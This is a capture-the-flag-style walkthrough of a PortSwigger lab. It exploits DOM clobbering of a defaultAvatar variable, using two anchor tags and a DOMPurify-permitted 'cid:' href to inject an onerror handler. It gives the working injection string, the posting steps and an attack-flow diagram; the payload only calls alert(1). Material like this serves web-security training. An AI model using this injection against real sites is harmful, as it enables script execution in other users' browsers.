PortSwigger

Lab Description

This lab contains a DOM-clobbering vulnerability. The comment functionality allows “safe” HTML.
Objective: Construct an HTML injection that clobbers a variable and uses XSS to call the alert() function.

  • Note: The intended solution to this lab will only work in Chrome.

Step 1: Understanding DOM Clobbering

DOM clobbering occurs when:

  • HTML elements with id or name attributes create global variables in the DOM
  • These variables can overwrite (clobber) existing JavaScript variables
  • This can alter application behavior in unexpected ways

How it works:

// HTML element
<div id="someId"></div>

// Creates global variable in JavaScript
window.someId === HTMLDivElement  // true!

In this lab:

  • The page has a dangerous pattern using window.defaultAvatar || {...}
  • We can clobber window.defaultAvatar using anchor tags
  • This allows us to inject an XSS payload

Step 2: Reconnaissance

  1. Open a blog post (e.g., /post?postId=1)
  2. Look for the JavaScript file: loadCommentsWithDomClobbering.js
  3. Examine the vulnerable code:
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}

What this code does:

  • If window.defaultAvatar exists use it
  • If not use default object with avatar property

The vulnerability:

  • DOM elements can clobber window.defaultAvatar
  • We can control the avatar property
  • The avatar value is used somewhere (likely in an <img src=...>)

Step 3: Understanding the Attack Strategy

Goal: Clobber defaultAvatar.avatar with an XSS payload.

Target pattern:

let defaultAvatar = window.defaultAvatar || {...};  // Uses our clobbered value

How to clobber with anchor tags:

<a id=defaultAvatar></a>
<a id=defaultAvatar name=avatar href="payload"></a>

What happens:

  • Two elements with same ID defaultAvatar create a DOM collection
  • The name attribute on the second anchor clobbers the avatar property
  • The href value becomes the avatar property value

Step 4: Crafting the Payload

Step 4.1: Understanding the Sink

The avatar value is likely used in an image tag:

<img src="/resources/images/avatarDefault.svg" ...>

If we control the src attribute, we can inject XSS.

Step 4.2: Using the cid: Protocol

DOMPurify allows the cid: protocol (Content-ID for email attachments).
Crucially, double quotes in cid: URLs are not URL-encoded.

Payload:

cid:"onerror=alert(1)//

Resulting attribute in image tag:

<img src="cid:" onerror="alert(1)//">

Breakdown:

  • cid: is the protocol (allowed by DOMPurify)
  • The " closes the src attribute
  • onerror=alert(1) becomes a new attribute
  • // comments out the rest

Step 5: Building the DOM Clobbering Injection

Step 5.1: First Comment (Clobbers the variable)

Post a comment containing:

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">

What gets stored in defaultAvatar:

window.defaultAvatar = HTMLCollection [a, a]
window.defaultAvatar.avatar = 'cid:"onerror=alert(1)//'

Step 5.2: Second Comment (Triggers the XSS)

Post any second comment (e.g., “test”). This causes:

  1. The page reloads (or comments are re-rendered)
  2. The clobbered defaultAvatar is used
  3. The payload executes

Step 6: Complete Attack Steps

Step 6.1: Post the First Comment

  1. Navigate to a blog post (e.g., /post?postId=1)
  2. Scroll down to the comment section
  3. Post a comment with:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">

  1. Submit the comment

Step 6.2: Post the Second Comment

  1. Post another comment with any text (e.g., “hello”)
  2. Submit the comment

Step 6.3: Observe the Alert

  • The page reloads or re-renders comments
  • The alert(1) popup appears

Step 7: Lab Solved

Success message displayed:


Attack Flow Diagram


┌─────────────────────────────────────────────────────────────────────────────┐
│                      DOM Clobbering Attack Flow                             │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Victim loads blog post page                                                │
│                              ↓                                              │
│  Vulnerable code executes:                                                  │
│  let defaultAvatar = window.defaultAvatar || {avatar: '...'}                │
│                              ↓                                              │
│  Attacker posts first comment with clobbering anchors:                      │
│  <a id=defaultAvatar><a id=defaultAvatar name=avatar                        │
│     href="cid:&quot;onerror=alert(1)//">                                    │
│                              ↓                                              │
│  DOM clobbering occurs:                                                     │
│  - Two elements with same ID create DOM collection                          │
│  - name="avatar" clobbers window.defaultAvatar.avatar property              │
│  - href value becomes avatar = 'cid:"onerror=alert(1)//'                    │
│                              ↓                                              │
│  Attacker posts second comment                                              │
│                              ↓                                              │
│  Page reloads/re-renders comments                                           │
│                              ↓                                              │
│  defaultAvatar.avatar = 'cid:"onerror=alert(1)//'                           │
│                              ↓                                              │
│  This value is used in an <img src=...> tag:                                │
│  <img src="cid:" onerror="alert(1)//">                                      │
│                              ↓                                              │
│  Invalid src → onerror triggers → alert(1) executes                         │
│                              ↓                                              │
│  Lab solved                                                                 │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘